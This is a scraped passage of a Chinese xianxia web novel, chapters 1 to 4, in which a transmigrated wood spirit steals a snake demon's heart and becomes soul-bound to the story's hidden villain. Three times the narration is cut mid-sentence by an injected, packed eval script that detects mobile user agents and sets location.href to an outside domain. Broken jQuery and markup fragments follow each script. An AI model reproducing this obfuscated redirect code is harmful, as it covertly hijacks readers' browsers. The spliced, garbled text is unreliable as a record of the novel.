《反派不想我对男主告白》
1. 第 1 章
夜色如墨,幽深寂静。
“锵”的一声,一柄匕首钉入破庙的残门之上。
阮清木抬手拔出匕首紧接又是一刺,她漠然地按着男人的肩膀,将匕首刺入他的胸膛,又反复地拔出再刺下。血溅入她的眼中,模糊了她的视线。
“别杀我……我,我可是你亲生父亲……”
男人挣扎地惨叫着,身体痛苦地抽搐却被她死按着无法蜷缩,直到呻吟声音逐渐减弱。
“清木……”
手臂被人扯开,阮清木无光的眸子逐渐聚焦,她眉心蹙起,将意识抽离出来,耳边有人一遍遍喊着“阮清木”,她反应了好一会。
阮清木……
是她现在的名字。
她盯着自己形如枯骨的手,手中那柄匕首正死死地钉在一扇残门之上,门上爬满常青藤,将这道残门盖得严严实实。
又分不清了吗。
身后猛地凑上来一人,阮清木回过头,对着那张粉妆玉琢的小脸辨认了好一会。
“你怎么了?”一个梳着低髻,面若桃花的小姑娘正一脸担忧地盯着阮清木。
想起来了,方才她们是在清理这庙门前的乱长的青藤。
阮清木错开那道关心的视线,“没事,理这青藤理得烦心,没控制好情绪,吓到你了。”
她抬手去拔那插入门中的匕首,发觉那刀尖几乎全部没入,试了几次都没拔出。
刚才那身使不完的牛劲去哪了……
自从穿进来的这三个月里,她总会神思恍惚,分不清这里和之前的世界,但这还是第一次在旁人面前这般犯病。
“吓死我了,还以为你鬼上身了呢。”她惊魂未定地往身后扫了一圈,“这里怨魂太多了,你别再吓我。”
小凝儿说完便上前搭在阮清木的手上,帮她合力一起拔出匕首。
青藤已被清理了一半,庙门终于松动,阮清木收回匕首。
夜深风动,残门让开一道缝隙,庙内经幡层层波动起伏,巨身佛像的脸在经幡之后若隐若现。
阮清木抬眸瞥见庙宇深处一尊说不上名号的巨身佛像,不禁打个寒战。
月色孱弱的光亮映在阮清木的脸上,煞白惨淡的面容,腕骨精细,骨瘦如柴的身形被藏匿在素白衣袍之下,如同一个孤魂野鬼,摇摇欲坠。
小凝儿叹道:“女鬼。”
阮清木自嘲地扯了下嘴角,虽是瘦得凹陷的一张脸,仔细看也能辨出她原本清澈的五官,像支冬夜里落败的白梅,乌丝松松地挽起,几丝碎发垂在颈间,唇色淡得几乎看不见颜色。
“今夜再取不到心脏,天亮时我恐怕连这幅鬼样子都没了,就这样变回木头了。”
她抬头看了一眼天色,已经三日没寻到心脏,这幅木头身子已是枯骨之余,就要消散了。
就在三个月前,阮清木穿进了这个玄幻志异的小说中,而她的设定是一颗没有心的木头精。
俗话说,草木无心。原著里她作为反派就是要到处挖人心,供己用。
她与小凝儿是在两月前认识的,那时她刚盗了一只野狐狸的心脏,还未把那颗狐狸心放入体内,正像个女鬼飘荡在林间,直接把路过的小凝儿吓出一嘴国粹。
阮清木当场礼貌回了一句,至此二人暗号对接成功。
小凝儿比她早穿进来两年,是原著中没什么身份的npc,书中的大致剧情基本都是小凝儿讲给她的,因为阮清木根本没看过。
这本书类似于男频升级流修仙小说,阮清木是前期剧情中的一个反派恶女,到处作恶,专食人心。因对书中男主产生爱慕之情,不惜将神魂献出让对方提升修为,总之是个恋爱脑。
但原男主只知修炼,面对阮清木这种死缠烂打的纠缠,直接送出一剑将她归西,至此她个炮灰反派就这样下线了。
她的任务就是按照书中故事发展走完自己的剧情。
只不过眼下的问题是,只怕她还没被男主一剑刺死,就要因耗尽灵力而变回木头,永久沉寂于此了。
原主不仅留给她这具随时消散的肉身,还有一屁股的麻烦事。
因原主在书中设定是个专挖活心的恶女,也不知到底结下多少仇人,她穿进来的三个月内,光是躲逃追杀就费尽了力气。
这仨月以来她基本上是没见过太阳,因为白天根本不敢出门。
今夜就是她最后的机会了。
系统提供了信息,这庙宇之内藏匿着一个重伤濒死的蛇妖,有上千年的修为,她若成功取出此妖的心脏,估计可以直接保送到大结局,再也不用到处挖死人心了。
阮清木提着灯火往庙宇深处走去。
可她前脚刚踏出半步,周围的建筑倏地开始扭曲,一座原本不存在的法堂赫然出现在庙宇深处,一层白雾般的流动光影扑面而来,又转瞬消失。
如雾般的光影四处飘散开,庙宇深处迸发出强大的灵压,冲击得两人接连后退了几步。
是那蛇妖藏身结界破散,他就在那最深处的法堂之内。
思索一瞬,她将手中灯火推到小凝儿手中。
“在这等我,我自己进去。”
未等小凝儿回应,她又道:“半个时辰,若我没出来,你就自己回洵山。”
这蛇妖的灵力明显是她们二人难以应对的,要真死了倒还好说,万一有什么意外,她们二人都逃不了。
反正她是烂命一条,无所谓,但别连累了小凝儿。
小凝儿倒也是个聪明人,没再拒绝,接过手中灯火,目送阮清木那一道素白身影径直朝法堂走去。
-
吱呀一声,法堂正门被推开。
阮清木探头扫视一圈,殿内烛光微烁,一座巨型佛像屹立在殿内,佛像低垂眉眼,俯瞰众生,眼神满是悲悯和垂怜。
而殿内正中,佛像身前的蒲团之上,正盘腿端坐一人。
那人一副少年模样,乌发高高束起,发尾随意搭在肩头,垂在胸前,身着一袭玄衣,腰间一抹白色勒紧腰身。
他双眼紧闭,面前总有一团黑雾笼罩,看不清具体样貌。
这就是那个将死的蛇妖了。
从这殿内溢出的满满灵力就能感觉到,此妖的妖力是顶级的。
伴着佛像垂眸悲悯的目光,阮清木脚步虚浮地朝少年走去,她毫无声息地靠近,煞白的脸色被烛火映得有些发红。
好似寒夜中即将凋零的蔷薇花,落败得只剩残
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128499|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枝断叶。
站定在少年的面前,她思索一瞬,索性从旁边拿了一个蒲团,和他面对面坐下。
泠风微拂,经幡随殿内微弱的烛火飘荡。
阮清木从袖中掏出一把小匕首,划破自己左手的掌心,随后口中振振有词念出了咒决。
“天地自然,秽气分散。三魂永久,魄无丧倾。心神丹元,为我所用。”
轰隆一声,骤然屋外巨雷惊响,惊得她一哆嗦,划破掌心的匕首一抖,伤口划得极深。
阮清木连忙捂住伤口,鲜血涌得很快,前几次取心时留下的疤痕还赫然在这道伤口之下。
殷红的血迹顺着她瘦削的腕骨流下,几乎要将她这副肉身最后一缕鲜血榨干。
她抬眸睨了一眼面前那少年,忍住掌心钻心的痛楚,抬手向那团黑雾伸去。
阮清木摸索到对面之人的胸膛,感受到手心中传来的那几乎不存在的心跳。微弱的心跳最后挣扎了几下之后,不再跳动。
唇角无意地翘起,烛火映得面容竟真有几分恶女模样。
她凝神屏息,双手掌心上幻化出几根如藤蔓般的枝干,顺着这蛇妖的前胸束去,枝干攀附在他腰身周围,又缠至脖颈。
束得越紧,阮清木越忍不住靠近这蛇妖,在她贴上去的一刹那,一种酥酥麻麻的感觉自她脑中散开,瞬间涌入她的四肢百骸。
明明这躯体冷得似寒冰,和紧贴在一起的肌肤却如火一般在烧。
大抵是因那伤口划得极深,少年衣襟很快被鲜血染透,就连窗外那轮寒月此时也染上一层血雾。
血月高悬当空,雷声大作,顷刻滂沱。
殿内烛火好似也被这诡异的血月灼伤,滴落的蜡水如泪一般流下。
“心神丹元,为我所用。”咒诀再次响起,少年的胸前弥漫的黑雾更浓。
连接她和少年那只掌心莫名出现灼烧感。
痛感越来越强,一开始她还以为是伤口痛,结果这股子灼烧感顺着手臂袭来,感觉自己整个胳膊都要烧起来了。
不对劲……之前从没遇到过这种情况。
阮清木用力抽回手,却惊觉自己和那少年竟无法分开丝毫。
她有些慌了,下意识回头找寻小凝儿的身影,穿过来之后一直都是小凝儿陪在她身旁,她经验多,问她总没错——
可是一回头,偌大的殿内静谧无声,经幡起伏,只有她一人和这少年。
法堂敞开的大门外也只剩浓浓夜雾,整个院内没有半点光亮。
方才明明将手中灯火交给了小凝儿,怎么会一点光亮都没有?
她走了?还是灭了灯火在外等她?
又是一道惊雷骤响,电闪雷鸣,一道天雷直奔她劈下,阮清木闻声看去,一时来不及躲闪,慌乱之中她倒吸一口气下意识地往后倒去,缩进少年面前那团黑雾之中。
电光在离她一指间的距离停下,那团黑色雾气似在与天雷对抗,噼里啪啦的电弧砸在那黑雾之上,却始终无法劈在二人身上。
殿外惊雷的闪光如白昼一般,就连阴影之中的佛像都好似被天雷惊扰,眉心似有一缕烦扰思绪如烟散去。
双生之契,逆天而行,降天谴,不可留。
2. 第 2 章
阮清木从没见过这种场面,她缩在那团黑雾之中,能感受到身后冲她劈来的天雷并未离去。
取个死人心脏而已,难道要被雷劈的?
殿外云海翻涌,滂沱雨下,雷云聚集在庙宇的上空,反复降下无数天雷,势要将这庙宇都劈为平地。
黑色雾气笼罩在她身旁,如保护罩一般,对外与天雷愤然抵抗。
阮清木的掌心依旧紧紧与少年的心口相连。
她屏气凝神,将全身几乎没有多少的灵力都聚集在掌心,纵使雷声再大,纵使劈得整个法堂都发出嗡鸣。
要么劈死她,要么这颗心她拿定了。
终于,一股源源不断的灵力顺着掌心涌入她的体内。
灵力传来得十分凶猛,这朽木身躯承受不住如此巨大的能量,阮清木顿时头晕目眩,她几乎强撑着身体,才没有倒下。
“天地自然.....”阮清木艰难地挤出两句咒诀,“秽气分散。”
白闪电光之下,只一瞬,她看清了对面少年的样貌。眉宇清秀,双眸狭长,眼尾上挑着,虽紧闭着眼睛,也能感受到几分俊气。
“三魂永久,魄无丧倾。心神丹元,为我所用。”
狂风终是破窗而入,吹散了阮清木额前的几缕青丝,她强撑的身子往前倾着,与对面之人几乎贴在一起,发丝甚至抚过少年纤长的睫羽。
可还是毫无反应。
她疲惫地阖上双眼,一瞬间忽然想到了很多。
若被天雷劈死,未推完剧情就提前下线,那她会受到系统惩罚:形神俱灭,无法\轮回。
若是今夜能活下去,过不了多久她就会遇上原书男主温疏良,按剧情她对男主一见钟情,然后对其死缠烂打地纠缠,偶尔促进一下男女主的感情发展,成为二人play的一环……
其实只要老实推完这些剧情,最后死在男主剑下,便可回去了。
可是……
可是她不想回去。
她不想回到那个充满梦魇和痛苦的世界,即使在这边做个女鬼,她也不想回去。
不甘心被这天雷劈死,也不甘心被什么书中男主一剑归西,她想要的不仅是这颗心,还想要足以自保的能力,甚至更多……
手边蓦地触到了那颗妖心。
寒意沿着手臂迅速蔓延,直袭她的胸口,炸裂般的雷鸣声撕开天幕,甚至冲进庙宇之内穿梭,震怒嘶吼好像在发出警告。
殿内微弱烛光,阮清木匿于素袍中的瘦削身子逐渐恢复了生机,苍白唇瓣重现血色,眼窝下的原本如一滩死水的眸子泛起涟漪。
万千天雷终是败下阵来,雷光散去,只剩落寞雨声不甘地倾泻而下。
拿到了。
原本要枯死的小木头又能活下去了。
她暗叹,感受胸口处传来砰砰的心跳声。
视线掠过面前那蛇妖,阮清木唇齿开合,留下一句无声的“多谢”。
她又抬眼看了窗外的天色,雷雨刚撤去,蒙于云后的凌月逐渐浮出。向外张望许久,仍是没有一点小凝儿的身影。
可别出什么事了。
这荒颓古庙坐落于人界、灵域、与冥域三界交汇之处,原是有普通凡人在此聚居的。
但奈何此处阴浊之气极重,纵然当年建起巍峨庙宇来震煞,却终究难以压制。反倒因积聚的邪祟之气引来不少妖鬼和游魂。
她多少有些担忧小凝儿。
可一声若有似无的叹息自身后蓦地响起,阮清木身子一僵,起身的动作骤然顿住。
她听见了,是呼吸声。
虽说之前这副朽木身子几乎连五感都要消失了,犹如一棵即将枯死的树,但方才将这颗妖心放入体内后,不仅肉身恢复充盈,甚至因灵力入体,五感也跟着变强。
此时她便清楚地听到身后那少年平稳的一呼一吸。
但这怎么可能呢?
他的妖心明明已被取出,应是死透了才对,怎会还有呼吸声?
阮清木不觉将手放在自己的胸口,确认是有心跳的。
她转过身来,死盯着眼前仍阖紧双眼的少年。他面前黑雾已消散不少,借殿内微弱的烛火,已然能看清那张面容。
那少年眉心仍蹙着,一身紧致的高领玄衣,劲瘦窄腰间束着一道素白锦带,侧面沾着几道尚未干涸的血痕,这血应是她方才取心时掌心那道伤口顺着他胸前衣襟流下的。
她将视线落在蛇妖随呼吸而缓慢微弱地起伏胸口处。
他没死?
还是说,撞鬼了?
阮清木心头一凛,当即转身推门而出,几乎是逃也似地冲出了法堂。
管他是妖是鬼,先离开这个鬼地方再说。
院中细雨如丝,她下意识抬起衣袖遮挡,目光却不经意瞥见西侧禅房内透出的光亮。昏黄的烛火中,一道纤细的人影若隐若现。
“小凝儿?“她试探着唤了一声,声音在雨夜中显得格外清晰。
门上的剪影忽然动了。那人影缓缓向门边移动,烛光将女子低垂的发髻轮廓清晰地投映在纸门上。阮清木松了口气,随即推门而入。
然而门开的瞬间,她便后悔了。
屋内空无一人,只有几盏烛火在案几上幽幽跳动,照得四壁昏暗。
阮清木后脊发凉,后退两步,转身便要往外跑,一张惨白的脸蓦地贴了上来,惊得她倒退了半步,身子撞得背后窗棂吱呀响动。
那厉鬼凑近后,满眼怨怒地死盯着她,阮清木这才注意到这幽魂的胸前露着一个空洞。
……坏了,那是胸口心脏处的位置。
好像是来找她的原身寻仇的……
“啊——啊啊!”
耳边厉鬼的嘶吼声吵得她头昏脑涨,她手起刀落,手中匕首对着面前那道惨白身影挥去。
可厉鬼没有肉身,没有实体,匕首将幽魂劈成雾般散开,没过多久便又恢复原形。
几道鬼影缠住她的四肢,紧接着和她靠得最近的那抹幽魂猛地朝她冲撞过来。
“靠……”阮清木暗骂出声,迅速抽身往旁堪堪躲过。
这些鬼是想将她的神魂撞出,挤占她的肉身。
她手忙脚乱地躲着那几道幽魂,虽说它们没有实体,却因怨力强大,竟可束住她的手脚,方才若不是她反应快,就要被锁在原地了。
“冤有头债有主,你们找错人了!”她怒喝道。
可厉鬼早已丧失神智,回应她的只有此起彼伏的凄厉尖啸。幽魂在殿内疯狂穿梭,带起的阴风卷得烛火明灭不定,最终尽数熄灭,整个屋内一时陷入更深的昏暗。
腰身蓦地被寒意裹住,她低头望去,竟是一条银白色的蛇身紧紧缠住了她。
“姑娘方才缠住我腰身时,可不是这幅狼狈样子。”
一道低沉喑哑的声音自她耳后响起,因凑得极近,唇齿间的吐息都打在她的颈间,激起她一阵酥麻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128500|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她侧头看去,陡然间就对上了那双缓缓睁开,散发着妖异幽光的双眸。
那狭长的眼眸微微上挑,青色竖瞳似一条毒蛇淡然凝视着眼前猎物。
是方才那个早就死了还被她剜去了心的蛇妖。
一旁的厉鬼此时竟也停下了凄喊,不再敢靠近。
阮清木抬起匕首没半分犹豫就刺了下去。
但随即一道无形的力道束住她的腕骨,刀刃悬在半空。
“又要杀我?”那蛇妖唇角翘起,语气淡然,但眼神中盖不住的狠戾盯着她。
什么叫又……
手腕被束缚的力道撤去,匕首落下,擦过他的肩头,肩处衣襟被割出一道口子。
有实体,不是鬼?
她侧头注意身后那团黑压压一片的怨魂,此时竟全都缩在角落,对他们二人避之不及。
再看这蛇妖正透过那双竖瞳打量着她,虽是少年模样,但被他目光所及之处,仿佛被蛇信舔舐,阮清木顿时不寒而栗。
他不仅没死,甚至被取走了心脏都没什么影响,看来当真是有点本事在身上,显然她得罪不起。
追她到这,定然是为了拿回自己那颗心。把心还给他倒好说,可若这心被取出,留她一人面对这一屋子野鬼,那才真是死路一条了。
阮清木突然脚下一软,顺势往他怀中跌去。少年眉梢微挑,颀长的身影后撤半步,看着阮清木就这样摔倒在地。
“救我。”阮清木双眼满是惶恐,一身素白长裙跪坐在地上,再抬起头时,已是梨花带雨。
原身除了一屁股命债,没留下任何东西给她,可唯独这媚骨天成,修的是最上乘的魅术,纵是道行高深的修士也辨认不出。
此术以灵力为引,随心而化,在原书中她的原身就是靠这魅术勾引男主的。
她抬手抹了一把颊间的泪痕,不太熟练,因为是假的。她本人不会哭,她一滴眼泪都没有了。
所以演得有些拙劣,她有点想笑。
因那蛇妖后退了半步,身后的厉鬼好像抓住了机会,又凑到了阮清木的身旁,她身子颤抖,又喊了一声:“求公子救我。”
那少年盯着她的脸看了许久,才缓缓走了过来,轻捏起阮清木的下巴。
满月悬空,岚岚雾雨,他指腹擦过她的唇角,“语气如此悲戚,可姑娘为何这般笑意盈盈?”
血月早已散去,清白的月光投进来,映着少年的脸庞一明一暗,一双诡异的竖瞳,嘴角却挂着笑,安静地看着她。
阮清木浮在脸上的魅术瞬间消失了。能看破她的魅术,那实在没必要再演下去。
“我把心还你,能饶我一命吗?”
少年幽幽开口:“不能。”
“既然公子见死不救,看来我是不能活着走出这禅房了。”阮清木扯下捏住她下巴的那只手,向后起身。
她背对着那几道鬼影后退了几步,数道鬼影迅速附在她四肢,其中那只胸口空洞的厉鬼发出尖啸,直击她的心口。
怨鬼没有神识,即使占据肉身,没有灵力加持就无法借尸还魂。反倒会受到反噬继而糟蹋这副躯体,以及她体内的那颗心。
阮清木不躲不闪,仿佛已接受自己的命运。
在厉鬼的鬼手贴近她心口处的一刹那,屋内几抹怨魂瞬间如雾般炸开,连惨叫都没喊出口,顷刻间烟消云散。
她的唇角不可察觉地勾起:“多谢公子出手相救。”
3. 第 3 章
几个怨魂烟消云散后,屋内的烛火复燃,幽幽几点火光重新照亮了屋子。
紧接着“滴”的一声,系统的透明弹窗出现在阮清木的眼前,并伴随着机械女声的响起:
【宿主您好,您已与风宴绑定成功!您可以使用他的半颗心,长时间维持人形。作为交换,风宴也享有您作为木头的长久寿命,至此契约已成。】
阮清木:……?
系统弹窗出现之后,周围的一切如同时间静止,连灰尘都停在空中。
【另外宿主须知:若您遭遇死亡,体内的半颗心脏便会自动归还,契约也会解除。暂无其他解绑方法,请宿主不要轻易尝试。】
阮清木怔在那,以最快的速度接受眼前所发生的事:她和这个蛇妖绑定了。
这像话吗?
面板消失前的提示音响起,提醒她即将继续本世界的剧情,她慌乱理好神情,只能见机行事了。
嘀的一声,系统弹窗消失。
霎时泠风再起,背后的窗棂被风吹得作响,院内立着的柳树借着月色投下剪影,落在二人的脸庞上。
那双纤长睫羽下的眸光恢复聚焦,同时拨动的还有那再次一同跳动的心跳。
少年眼眸流转,泛着幽光的青色竖瞳将视线缓缓落下。
他已闪身至阮清木的身后,挑起两指轻捏住了她的脖颈,旋即暗运灵力顺着她体内探去,阮清木想躲却没挣脱开来。
“别动。”声音从她耳后飘来。
她只能老实地站好,背后紧贴那蛇妖的胸膛,感受到从他心口处传来的心跳。
怪不得这妖没死,原来真如系统所说,是用她的命续上了。
若是靠他这半颗心维持人形,阮清木还真说不好到底值不值当。
万一这蛇妖也是个炮灰呢,据说,这本书里除了大男主以外,所有角色都是他的垫脚石。
“若我方才没有出手呢。”风宴倏地开口,声音清哑带着少年特有的干净与疏离,如月下的清风泠泠落在耳畔。
他垂眸看着眼下这仅是个低阶灵族的木头。
阮清木:“那我就只好做个孤魂野鬼了。”
话未说完,她左手陡然被握住,一股寒意笼罩过来,那少年的手如死人一般凉。
他轻笑一声:“放心,不会让你活过今夜的。”
他将阮清木的手摊开,掌心深可见骨的伤口早已愈合,在那之上是一道扭曲的血印,盘根错节,遍布在她手心。
冰凉的指腹轻压在她掌心那道血痕上,沿着纹路缓缓划过。
可就连阮清木自己都不知道她掌心何时出现的这道血印,方才取心时,她明明还割伤了自己。
借着月色,风宴仔细辨认着那道血痕。
双生魂契吗?
在他入魔道之前,就曾有传闻修真界中的道侣会为了让彼此的修为在短时间大涨,会将其中一人的心脏剜出,献祭给对方提升灵力。结下双生魂契,便可寄生还魂,至此二人不仅同用一颗心脏,甚至共用一人的寿元,且连修为灵力都是共用的。
但这道邪术实在太过忤逆天道,比他假死骗灵力都邪。所以凡是结过双生魂契的修士,皆会被降下天罚,就连神魂都会被雷火劈得干净。
“你与我结契了。”
阮清木暂没吭声。
“你凭什么认为,我会同意用你的寿元换走我的心?”
阮清木蓦然感觉自己胸膛内的心脏快速跳动了几下,迎上他的目光,面上逐渐浮出冷意:“原本活不过今夜的人是你,只可惜你恩将仇报。”
“恩将仇报?”风宴极轻笑了一声,“那依你之见,我要如何报答这份恩情?”
他俯下身来,束住马尾的飘带从肩头滑落。阮清木这才瞥见那缎带末端用湖青色丝线勾着的云纹。
这蛇妖竟然是云霄宗的修士,男主温疏良也是云霄宗门下的弟子,他们居然是同门。
如若按照原书剧情发展,在她开始攻略男主温疏良后,也会和云霄宗的修士有些纠缠,但原主毕竟是炮灰反派,遇上对方只有被追着打的份。
之前小凝儿还劝她去试试云霄宗仙门考核,但她个木头肉身压根没有灵根,连人家门槛都摸不上。
要是她有机会进入云霄宗,就算不修炼,单靠那依山傍水溢出的灵脉就够她滋润几百年。
“我们做个交易如何?”阮清木忽然改口。
方才她还想着要如何将这颗妖心还给他,现在她却不想了。
眼前这少年明明是个妖,却能进到云霄宗的门下,显然很有手段,这么有手段的妖错过就可惜了。
管他是妖是鬼,和云霄宗能搭上关系那才是要紧的。
“你暂借我心脏,助我维持人形。我将我的寿元给你,这样我们各取所需。”
阮清木觉着还是蛮公平的。
只是窗外此时夜幕静谧,伴随着些许寒鸟低鸣声,风宴沉默地注视着她,良久,“你知道这是什么契约吗?就敢随意与我结契?”
阮清木哑然,鬼知道这是什么契,系统又没同她讲过。
但她依旧不动声色:“自然是知道这是什么,才特意与你定下的。”
毕竟出门在外,人设是自己给的,此时断然不能露出自己无知的样子被对方牵制。
但不知是不是因为说了谎,她胸膛里的心竟跳得快了起来。
“结下此契,至此你我二人命格相连,神魂相融甚至……”他忽然顿了顿,凑得越来越近,阮清木无意识地向后躲着,直到背后撞上半开的窗棂。
“甚至如同做了道侣一般,日夜形影不离……即使这样你也愿意?”
他那双竖瞳紧盯着她,欲要将她看穿一般,视线如火一般映在她的眼中。
道侣……
那是什么?
修仙小说的设定好复杂,她没看过啊。
只是现在就算她说不愿意也没用,她解不开这契约,系统也提醒她不要轻易尝试。
还有这云霄宗的诱惑力实在是太大了。
形影不离,那也就是说,她也得跟着他一起回云霄宗。
居然有这好事。
见她出神的样子,风宴有些不耐烦地眉心蹙起,阮清木突然出声。
“愿意。”她声音很轻。
泠泠月色映在她的脸上,是一张瑰姿艳逸的脸,虽有些狼狈,额角处因冷汗而打湿的青丝糊作一团,颊边蹭上了灰迹,可还是难掩琼姿。
不像是木头,更像是绽于月下,冰肌玉骨的昙花。
他怔住,定定看了她很久,俊俏的眉眼间竟攒出一丝笑来,“想利用我得到什么?”
“想走关系,进云霄宗。”阮清木毫不避讳地开口。
好巧不巧,话音刚落,系统机械女声忽然出现在她脑中:“触发恶女任务,宿主需阻止女主云渡珩将此地封印的剧情。任务难度较高,请谨慎进行。”
阮清木眉心瞬间皱在一起,任务来得猝不及防,她下意识地瞟了一眼风宴,怕自己反应太大被看出异样。
谁承想这蛇妖此时也面色凝重地盯着窗外,压根没注意到她。
阮清木顺着他目光向外看去,这才发觉自己的视觉也得到提升。
千米之外的夜幕中有几道人影攒动,其中为首一人身着白青色长袍,手持灵剑,腰间挂着一副“云”字玉饰,如墨的长发高高挽起,那青丝间系着与那蛇妖一样的云纹缎带。
为首的女子周身霜气萦绕,鹤骨松姿,正手中捏诀,凝神布阵,阵法之上,悬于空中是几道巨大的锁链。
从她一身的主角光环再加上腰间那枚云字玉饰,阮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128501|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清木可以断定此人便是原书中的女主——云渡珩。
纵使是千米之外,人群之中,也让人移不开眼。
这剧情还真是和系统说的一模一样。
而且毫无疑问,系统早把她一起归类到反派阵营了。
要说女主云渡珩亲手封印的妖魔并不多。最声势浩大的那一次,是揪出了宗门内鬼,封印了一个蛰伏在仙门中的魔修,将其封印于陆屿山下。
可那魔修在被封印的百年间将魔气聚集于血脉之中,反而让他借机修炼。
中间男女主二人感情纠葛,又发生一些阮清木参与进去的狗血剧情,便没人再记起这个被封印的反派,所以直到剧情后期,众人意识到不对劲的时候,早已魔气涤荡,被他冲破了封印。
最终男主温疏良出场,将剧情推向高潮,不仅消灭了这个终极反派的魔尊,还荡平了魔界,接手了云霄宗。
这些都是穿进来的三个月里小凝儿断断续续讲给她的。
所以——
她绑定的这个蛇妖,是全书最终大反派。
阮清木不知道自己该作何反应了,她抖了一下,猛然间觉得,好刺激啊……
“是冲你来的?”阮清木试探着开口问道。
风宴没什么表情:“没准是来抓你的呢。”
阮清木笑了:“抓我这个连鬼都能随便欺负的木头有什么用,显然是来抓你这个蛰伏仙门的魔修更合理一些吧。”
风宴将视线收回,面色阴沉,牢牢地盯着阮清木。
沉重的雷鸣碾过天际,紧接着锁链撞击声从空中传来,整个庙宇陡然出现一股压迫感,似被无形阵法笼罩。
阮清木这幅木头身子根本承受不住这般灵压,她强忍着才能站稳。
“后悔与我结契了吗?”风宴淡淡地开口。
阮清木点头:“现在杀了你,能弃暗投明吗?”
风宴:“可以试试?”
云渡珩凝持着阵法,天刑锁浮于空中,锁链末端尽数贴着符纸,有两道已横在方才倒着半扇大门的庙宇门前。
“他们是已经识破你的身份才来抓你的?”阮清木一边观察着外面的情况边问道。
他嗤笑一声:“都说了,他们是奔着你来的。今夜你与我结契,是高阶邪术,导致血月异像将他们引导此地。”
“所以若我死了,定会带着你一起死的。”风宴漠然开口,俯下身压在阮清木的耳侧,骨节分明的手戳着她的心口,提醒她不要忘记。
阮清木反倒安心了一些,既然他身份没暴露,那应该好解决多了。
脚步声自院落中传来,阮清木凝神聚力,魅术浮于面上,瞬间又是梨花带雨。
风宴皱眉看着她。
“表哥!我都说了,我再也不会与那个蛇妖有任何联系,你就放过他这一次好不好!”阮清木哭喊着,声泪俱下,“我真的错了。”
院落中的脚步声骤然停住,十几个人影好像全都被阮清木的哭声吸引,驻足听着。
风宴被她这一出搞得怔在原地。
“你放心,只要你放了他,我一定跟着你去云霄宗好好修炼,再也不被这些情爱左右。”阮清木接着哭,她跑到门前,倏地一下推开禅房的门。
门一开,正对上云渡珩和十几个修士各个提着剑立于院中,彼此间面面相觑。
阮清木一时间不可置信地回头:“表哥……你要做到这种程度吗?我都说他已经走了,不会再来招惹我,你又何必喊来这么多修士?”
风宴阴着脸,站在原地未动。
门外十几个人影好奇地往屋内张望着,瞥见那一脸杀意的风宴。
云渡珩扫了一眼梨花带雨的阮清木,往禅房内踏了几步,这才看清屋内之人的面貌,她迟疑一瞬,对阮清木问道:“这,你……表哥?”
4. 第 4 章
月过中天,院内寂静无声。
风宴阴着脸从禅房中走出,额间青筋凸起,站定在云渡珩的面前,并未言语。
阮清木还在细雨中抽泣着。
云渡珩自上而下地打量着阮清木,见她一袭素裙,垂于腰间的青丝仅用一根簪子随意挽着,在月下楚楚可怜。再看风宴却是一身紧身的高领玄衣,未穿他们寻常要穿的修士服,但发间束着的缎带仍在。
云霄宗修士众多,云渡珩并非认识所有修士,对风宴也只是有些面熟,先前并未有所交集。
她视线落于风宴束于腰间白色锦带上的血迹,“你和人打斗过?伤了?”
“不是我表哥的血,是……”阮清木含泪看了一眼风宴,不敢再言语。
“是你方才说那个已经逃走的蛇妖的血?”云渡珩问道。
阮清木点了点头,而后想起什么似的,又赶紧把脑袋摇得飞快:“不是,没有什么蛇妖,这里只有我和表哥两个人。”说完便煞有介事地抹去颊间的泪水。
“那蛇妖往哪逃了?”
血月浮现之时,云渡珩正在陆屿山下领着这些修士寻找能助她从元婴期破境的魂器。本来这个月她是可以冲破元婴,一举达到化神期的修为。但宗门内近期灵脉异常,各修士灵息都混乱不堪,她便只好下山另寻他法。
陆屿山离着破庙虽不近,但都是元婴期的修士,左右用了不过半个时辰便赶了过来,到此却不见妖魔,只见一个修士和一个弱不禁风的女子。
看阮清木不应,云渡珩冷笑一声,提着剑对她厉声问道:“我问你那个蛇妖往哪逃了?”她顿了顿,视线又朝风宴扫去,“还是说,压根就没有你口中的那个蛇妖,施下邪术的就是你们二人?”
阮清木擦着泪痕的动作一顿,院中一时间陷入死寂,只剩雨丝悄然砸落在众人的肩头。
不愧是原书的女主,脑子转得真快。
众人被云渡珩这气势压得呼吸都放轻了。
她一步一步向阮清木凑近,神色凝重。借着拭泪喘息的间隙,阮清木不动声色地向风宴身旁靠拢,一边思量着对策。可谁料那十几个修士之间竟忽然有个人开口。
“师姐。”
那声音如雨中脆竹,清亮的声色穿梭在雨夜中透着盖不住的稚气。
